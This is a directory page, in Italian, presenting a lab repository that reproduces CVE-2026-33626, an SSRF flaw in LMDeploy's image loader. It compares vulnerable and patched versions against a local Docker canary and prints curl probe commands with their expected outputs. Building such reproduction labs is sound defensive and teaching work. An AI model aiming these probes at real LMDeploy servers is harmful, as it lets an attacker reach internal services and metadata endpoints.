Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33626-Lab | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-33626-lab
Analisi delle VulnerabilitàSicurezza WebCTFApprendimento e FormazioneSicurezza dell'IALab e Pratica
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33626 — Laboratorio SSRF Vision-Language di LMDeploy

Panoramica

Questo repository riproduce CVE-2026-33626, una vulnerabilità di Server-Side Request Forgery (SSRF) nel percorso di caricamento delle immagini vision-language di LMDeploy.

Il comportamento vulnerabile si verifica quando LMDeploy riceve un URL di un'immagine e il caricatore di immagini lato server recupera tale URL senza bloccare correttamente gli indirizzi interni, privati, di loopback o link-local.

Questo laboratorio confronta:

ServizioVersioneScopo
vulnLMDeploy 0.12.0Dimostra il comportamento vulnerabile
patchedLMDeploy 0.12.3Dimostra il comportamento corretto (patched)
internalServizio canary localeSimula una risorsa solo interna all'interno della rete Docker

Il laboratorio è progettato per essere eseguito localmente con Docker Compose e non contatta endpoint di metadata cloud o target esterni.


Riepilogo della Vulnerabilità

LMDeploy supporta flussi di lavoro vision-language in cui un'immagine può essere caricata da un URL fornito dall'utente. Nelle versioni vulnerabili, il codice di caricamento delle immagini può recuperare URL che risolvono a indirizzi di rete interni/privati.

Ciò può consentire a un attaccante con accesso all'endpoint LMDeploy di far sì che il server richieda risorse interne, come:

  • servizi HTTP interni
  • endpoint di metadata
  • servizi di cache/database
  • pannelli di amministrazione privati
  • altri servizi raggiungibili dalla rete del server di inferenza

In questo laboratorio, il target interno è volutamente innocuo:

root@kitploit:~
http://internal:9000/private.png

L'URL esiste solo all'interno della rete Docker Compose.


Progettazione del Laboratorio

root@kitploit:~
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service

Il laboratorio non esegue un server di inferenza VLM completo. Isola invece la primitiva vulnerabile di caricamento immagini di LMDeploy chiamando:

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

Questo mantiene la riproduzione leggera e deterministica, dimostrando comunque il comportamento di sicurezza che è stato corretto.


Struttura del Repository

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

Servizi

All'interno della rete Docker, il canary interno è raggiungibile come:

root@kitploit:~
http://internal:9000/private.png

Requisiti

  • Docker Desktop
  • Docker Compose v2
  • Python 3 per eseguire lo script PoC

Su Apple Silicon, i servizi vuln e patched vengono eseguiti come linux/amd64 perché la wheel LMDeploy usata in questo laboratorio è orientata a x86_64.


Eseguire il Laboratorio

Compila e avvia i servizi:

root@kitploit:~
docker compose up -d --build

Controlla lo stato dei container:

root@kitploit:~
docker compose ps

Stato previsto:

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

Verificare le Versioni

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

Output previsto:

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

Eseguire il PoC

Crea un ambiente virtuale e installa le dipendenze:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

Esegui il PoC:

root@kitploit:~
python poc/poc.py

Il target SSRF predefinito è:

root@kitploit:~
http://internal:9000/private.png

Questo target è raggiungibile dai container Docker, non da Internet pubblico.


Risultato Previsto

Servizio Vulnerabile

Il servizio vulnerabile dovrebbe recuperare con successo l'immagine canary interna:

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

Questo conferma che LMDeploy 0.12.0 ha effettuato una richiesta lato server al servizio Docker interno.

Servizio Corretto (Patched)

Il servizio corretto dovrebbe bloccare lo stesso URL prima che il servizio interno venga raggiunto:

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

Questo conferma che LMDeploy 0.12.3 blocca gli URL che risolvono a indirizzi IP non globali/interni.

Riepilogo finale previsto:

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

Test Manuale

Reimposta il canary interno:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

Testa il servizio vulnerabile:

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Previsto: /hits contiene una richiesta.

Testa il servizio corretto:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

Previsto: /hits rimane vuoto.


Perché Questo Dimostra l'SSRF

Il PoC non richiede direttamente il servizio interno come attaccante.

Invece, il PoC invia un URL interno a LMDeploy. Se LMDeploy recupera quell'URL dall'interno della rete del container, il canary interno registra la richiesta.

Questo comportamento dimostra la primitiva SSRF:

root@kitploit:~
attacker-controlled URL
        ↓
LMDeploy server-side image loader
        ↓
request to internal network resource

La versione corretta impedisce tutto ciò rifiutando gli URL che risolvono a indirizzi IP non globali.


Pulizia

root@kitploit:~
docker compose down -v

Riferimenti

  • GitHub Security Advisory: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • Patch Commit: 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • Pull Request: #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • Analisi Sysdig https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

Scarica lo strumento
ServizioHost URLPorta ContainerDescrizione
vulnhttp://127.0.0.1:80818000Wrapper LMDeploy 0.12.0
patchedhttp://127.0.0.1:80828000Wrapper LMDeploy 0.12.3
internalhttp://127.0.0.1:80909000Servizio canary interno